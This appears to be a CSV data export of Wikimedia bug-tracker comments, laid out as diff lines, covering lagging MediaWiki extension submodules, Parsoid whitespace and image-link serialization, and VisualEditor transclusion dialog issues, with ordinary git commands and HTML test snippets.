+232670,monitor mediawiki extensions superproject misconfiguration,"So now ""all"" that is needed is to have this in a cronjob that mails the output to...?",,,1383761840,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-io6oush42k3uezzajdmy,task_subcomment,,True,c1,3,False,,,18,,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0
+232662,monitor mediawiki extensions superproject misconfiguration,https://gerrit.wikimedia.org/r/#/c/70836/ adds a script to verify the extensions syncronization.,,,1372350237,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-io6oush42k3uezzajdmy,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+232653,monitor mediawiki extensions superproject misconfiguration,"A slightly better version being run on mediawiki/extensions.git at d0680b9
+
+
+$ git submodule --quiet foreach 'test ""$(git rev-list HEAD..origin/master --count)"" = ""0"" || echo ""ERROR! $path is lagging behind.""'ERROR! AutoCreateCategoryPages is lagging behind.
+ERROR! Bootstrap is lagging behind.
+ERROR! Campaigns is lagging behind.
+ERROR! CirrusSearch is lagging behind.
+ERROR! CommunityTwitter is lagging behind.
+ERROR! CoreEvents is lagging behind.
+ERROR! EImage is lagging behind.
+ERROR! JsonData is lagging behind.
+ERROR! Less is lagging behind.
+ERROR! OpenStreetMapSlippyMap is lagging behind.
+ERROR! PerPageLicense is lagging behind.
+ERROR! QuickResponse is lagging behind.
+ERROR! TimelineTable is lagging behind.
+ERROR! VisualEditor is lagging behind.
+ERROR! WikibaseDataModel is lagging behind.
+ERROR! WikibaseQueryEngine is lagging behind.
+$",,,1372349620,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-io6oush42k3uezzajdmy,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,1,0,1
+232645,monitor mediawiki extensions superproject misconfiguration,"So to find out what is not up to date:
+
+Fetch the extensions:
+
+ git clone https://gerrit.wikimedia.org/r/p/mediawiki/extensions.git 
+ cd extensions
+ git submodule update --init
+
+Then for each submodules look at the number of commits between HEAD (the currently checked out version locally) and origin/master (the version in gerrit):
+
+ git submodule foreach 'test ""$(git rev-list HEAD..origin/master --count)"" = ""0""  && echo ""Up to date."" || echo ""ERROR!""'
+
+Gives out something like:
+
+ ...
+ Entering 'AuthorProtect'
+ Up to date.
+ Entering 'AutoCreateCategoryPages'
+ ERROR!
+
+That extension is indeed lagging:
+
+hashar:~/extensions/AutoCreateCategoryPages$ git log --oneline --decorate  --all -n4
+14a097d (origin/master, origin/HEAD, master) Localisation updates from http://translatewiki.net.
+981a381 (HEAD) Localisation updates from http://translatewiki.net.
+e01f64e Add .gitreview and .gitignore
+7ae6dd3 (origin/REL1_21) Localisation updates from http://translatewiki.net.",,,1372349226,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-io6oush42k3uezzajdmy,task_subcomment,,True,c1,2,True,,,-1,,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,1,0,0,1,1,0,0,1,0,0,1
+232637,monitor mediawiki extensions superproject misconfiguration,"Campaigns not updating, bug 50261",,,1372348299,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-io6oush42k3uezzajdmy,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+232633,monitor mediawiki extensions superproject misconfiguration,"Vector was not updated either, might have caused bug 49911",,,1372090121,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-io6oush42k3uezzajdmy,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+51901,"Parsoid should have template parameter key/value whitespace of "" = "" not ""=""","In edits like https://fr.wikipedia.org/w/index.php?diff=94100781 , the whitespaces between the equal sign of a template parameter and the value of that parameter are removed. This causes confusing diffs since the user didn't make that change.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1371753840,1372007229.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-js3thiqf6n5putzp4qaq,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+232275,"Parsoid should have template parameter key/value whitespace of "" = "" not ""=""",This has now been done in Parsoid.,,,1372007229,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-js3thiqf6n5putzp4qaq,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+232264,"Parsoid should have template parameter key/value whitespace of "" = "" not ""=""","That said, we are considering changing the default for edited templates where we normalize to a single space around the '=' sign.  This will still affect other templates where there was no space around them before, but in general, the change might be a better default.
+
+This will still not fix the problem when HTML isn't preserved (either due to Parsoid or VE bugs) in its original form (as noted by Gabriel).  But, changing the default whitespace around '=' for template transclusions should make this look a little better.",,,1371793447,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-js3thiqf6n5putzp4qaq,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+232257,"Parsoid should have template parameter key/value whitespace of "" = "" not ""=""","If the user edited the transclusion, then normalization of spaces is to be expected, as remembering every purely syntactical variation would add way too much complexity and slow down processing.
+
+If the user did not touch the transclusion, then you should not see any diff in the template. If you are still seeing a diff, then it is pretty likely that this is a VisualEditor issue. There were some issues in the preservation of HTML for templates when passed through VisualEditor, which can cause the template to appear edited when we get the HTML back.",,,1371777646,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-js3thiqf6n5putzp4qaq,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+51866,"VisualEditor: Transclusion editor shows empty ""content"" sections for newlines","1. Go to [[Ahab]] and edit in VE
+2. Select the succession box at the bottom and edit with transclusion editor
+3. Observe that ""content"" sections are present that look blank, but on closer inspection, contain only a newline
+
+Some templates (like succession boxes) unfortunately need to be on separate lines in the wikitext :( But the current UI for this is non-obvious and could be made better.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1371722040,1393526293.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-fzpzl3u4tnchcdvuauzd,task_description,declined,True,c1,2,False,False,False,-2,,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,1
+255915,"VisualEditor: Transclusion editor shows empty ""content"" sections for newlines","The work-around that Parsoid did to hide these means that these don't appear unless it's mis-matched, which is reasonable enough that I'm going to flag as WORKSFORME.",,,1393526293,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fzpzl3u4tnchcdvuauzd,task_subcomment,,True,c1,3,True,,,34,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+255908,"VisualEditor: Transclusion editor shows empty ""content"" sections for newlines","This is the exact wikitext that is interspersed between template calls, so follows our DOM spec (see http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Template_content). 
+
+The decision whether that should be presented in the UI is one for the VisualEditor team to make. Non-whitespace content like '|-' for a new table row is probably important to show, while pure ws could also be hidden from view.",,,1371777288,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-fzpzl3u4tnchcdvuauzd,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+255903,"VisualEditor: Transclusion editor shows empty ""content"" sections for newlines","Yeah, this is a bit of a mess. We could get Parsoid to /always/ do a newline between templates of the same generated block, I suppose? Gabriel, thoughts?",,,1371775521,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fzpzl3u4tnchcdvuauzd,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+51844,Images: New images get a link=… set whether or not they need it,"Follow-on from bug 49596.
+
+The insertion of a new image adds link=… whether or not it's been actively set away from the default.
+
+Thus (in the example in bug 49596 comment 0) we get:
+
+[[File:CV.03326.jpg|link=https://commons.wikimedia.org/wiki/File:CV.03326.jpg|right|framed|424x275px]]
+
+… instead of:
+
+[[File:CV.03326.jpg|right|framed|424x275px]]
+
+… which is bad in terms of wikitext-user utility.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1371681900,1395180712.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_description,resolved,True,c1,2,True,False,False,-2,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+253999,Images: New images get a link=… set whether or not they need it,"Change 119087 merged by jenkins-bot:
+Clarified the default link for image insertion.
+
+https://gerrit.wikimedia.org/r/119087",,,1395081900,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,False,,,37,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+253995,Images: New images get a link=… set whether or not they need it,"Change 119087 had a related patch set uploaded by Cscott:
+Clarified the default link for image insertion.
+
+https://gerrit.wikimedia.org/r/119087",,,1395081559,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,False,,,37,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+253992,Images: New images get a link=… set whether or not they need it,"Clarified the spec: https://www.mediawiki.org/w/index.php?title=Parsoid%2FMediaWiki_DOM_spec&diff=931265&oldid=931084
+I believe Parsoid's behavior is correct.",,,1395081362,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,True,,,37,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+253987,Images: New images get a link=… set whether or not they need it,"mooeypoo and I tried to reproduce without success.  the code looks correct: the link option is suppressed iff a[href] == img[resource].   Both of these should be local relative URLs, since the only way external images can be referenced is via instacommons (which provides local URLs for the image).",,,1395080439,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,True,,,37,,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+253982,Images: New images get a link=… set whether or not they need it,"Ok, from looking at the code I can confirm that the link= attribute should be suppressed iff the img[resource] attribute is equal to the a[href].  I'm guessing that autocommons is screwing with this?",,,1395077436,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,True,,,37,,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,1
+253976,Images: New images get a link=… set whether or not they need it,"Hm, I note that the DOM spec describes ""resource attribute on image"" this way:
+
+> link to image resource page. TODO: what to use for images from commons?
+
+I'm guessing this is the root of the problem.  What is VE currently setting the resource attribute to, for images from commons?",,,1395072264,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,True,,,37,,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,1
+253967,Images: New images get a link=… set whether or not they need it,"Hm, maybe this only occurs with images from commons now?  Can you confirm that, James?  It would be helpful to see exactly what VE is giving to Parsoid for new images, and how you are indicating that the link is the default.",,,1395071686,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,True,,,37,,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+253957,Images: New images get a link=… set whether or not they need it,"Still appears to be happening now that the workaround is removed:
+
+http://en.wikipedia.beta.wmflabs.org/w/index.php?title=User:Whatamidoing_(WMF)/Sandbox&diff=81525&oldid=81245",,,1393637954,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,True,,,34,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+253950,Images: New images get a link=… set whether or not they need it,This bug is fixed; opened bug 61560 for the VE team to revert their workaround hack.,,,1392847659,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,True,,,33,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+253944,Images: New images get a link=… set whether or not they need it,This should be fixed by https://gerrit.wikimedia.org/r/103082 (if it wasn't already fixed).  Should be verified fixed by the VE team once this lands (and their local workaround reverted?).,,,1387811244,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,True,,,25,,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+253939,Images: New images get a link=… set whether or not they need it,"I cannot reproduce this on latest master.
+
+[subbu@earth lib] cat /tmp/img.html
+<span typeof=""mw:Image"" ><a href=""./File:VisualEditor-logo.svg""><img src=""http://vewiki/MediaWiki/images/thumb/1/12/VisualEditor-logo.svg/300px-VisualEditor-logo.svg.png"" resource=""./File:VisualEditor-logo.svg"" width=""300"" height=""105""></a></span>
+[subbu@earth lib] node parse --html2wt < /tmp/img.html
+[[File:VisualEditor-logo.svg|300x300px]]",,,1385081773,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,True,,,20,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,1,1
+253933,Images: New images get a link=… set whether or not they need it,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934020,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+253926,Images: New images get a link=… set whether or not they need it,"This is worked around (albeit with potentially a bit of a hack) in VisualEditor, so not so important now from VisualEditor's POV.",,,1372214663,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+253920,Images: New images get a link=… set whether or not they need it,*** Bug 49848 has been marked as a duplicate of this bug. ***,,,1372214626,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+253916,Images: New images get a link=… set whether or not they need it,Related URL: https://gerrit.wikimedia.org/r/70551 (Gerrit Change I75dbbfdd248a6f5696252ef3a2d7ca6ede0fa156),,,1372198165,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+253912,Images: New images get a link=… set whether or not they need it,"<span typeof=""mw:Image"" ><a href=""./File:VisualEditor-logo.svg"" data-parsoid=""{'a':{'href':'./File:VisualEditor-logo.svg'}}""><img src=""http://vewiki/MediaWiki/images/thumb/1/12/VisualEditor-logo.svg/300px-VisualEditor-logo.svg.png"" resource=""./File:VisualEditor-logo.svg"" width=""300"" height=""105""></a></span>
+
+serialises to:
+
+[[File:VisualEditor-logo.svg|300x105px]]
+
+Whereas
+
+<span typeof=""mw:Image"" ><a href=""./File:VisualEditor-logo.svg""><img src=""http://vewiki/MediaWiki/images/thumb/1/12/VisualEditor-logo.svg/300px-VisualEditor-logo.svg.png"" resource=""./File:VisualEditor-logo.svg"" width=""300"" height=""105""></a></span>
+
+(removed data-parsoid from <a> tag)
+
+serialises to:
+
+[[File:VisualEditor-logo.svg|link=File:VisualEditor-logo.svg|300x105px]]",,,1371815879,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1
+253906,Images: New images get a link=… set whether or not they need it,This looks like a Parsoid issue:,,,1371815790,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-pvs5mqz2lxwkwyv7enfq,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+51833,VisualEditor: Quick transclusion dialog UX improvements,"Template overall:
+* Template panel should have a link to the template's definition page (if it's a real template)
+* Template panel should have a link to the relevant MW Manual page (if it's a parser function)
+
+Parameters:
+* Label for parameter should use the ""label"" from TemplateData, not the wt name
+* Label panel should use the ""description"" from TemplateData above the content box
+* Label panel should indicate if a parameter is ""mandatory"" from TemplateData
+* Label panel should show the ""default"" from TemplateData
+* Label panel should indicate if a parameter is ""deprecated"" from TemplateData
+
+Adding parameters:
+* Template panel should show available unused parameters and way to add them
+* Template panel should highlight available unused parameters that are mandatory
+* Template panel should highlight available unused parameters that are in sets
+* Insertion of a template with TemplateData should auto-insert the mandatory parameters
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52576",Medium,50.0,1371667800,1377905614.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-q46agi2mree3c3qnk2y4,task_description,invalid,True,c1,2,True,False,True,-2,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0
+253343,VisualEditor: Quick transclusion dialog UX improvements,"… of the remaining items, I've split them out into:
+
+(In reply to comment #2)
+> Template panel:
+> * Link to the template page (if it's a transclusion from a MediaWiki page)
+> * Link to the MediaWiki.org Manual (if it's a parser function)
+
+Collectively https://bugzilla.wikimedia.org/show_bug.cgi?id=49772
+
+> * Use ""Param#required"" data to prioritise/encourage use of those parameters
+
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50747
+
+> * Use ""Root#sets"" data to allow addition and/or completion of parameter
+> sets
+
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53609
+
+> * Cursor keys can let you select parameters in the search results off the
+> screen and the dialog doesn’t scroll
+
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53610
+
+> * Checkbox (?) to substitute a template on save, rather than leave as
+> transclusion 
+
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49904
+
+> Parameter panel:
+> * Use ""Param#required"" from TemplateData
+
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53611
+
+> * Use ""Param#default"" from TemplateData
+
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52753
+
+> * Use ""Param#deprecated"" from TemplateData
+
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53612
+
+> * Use ""Param#type"" from TemplateData
+
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53613
+
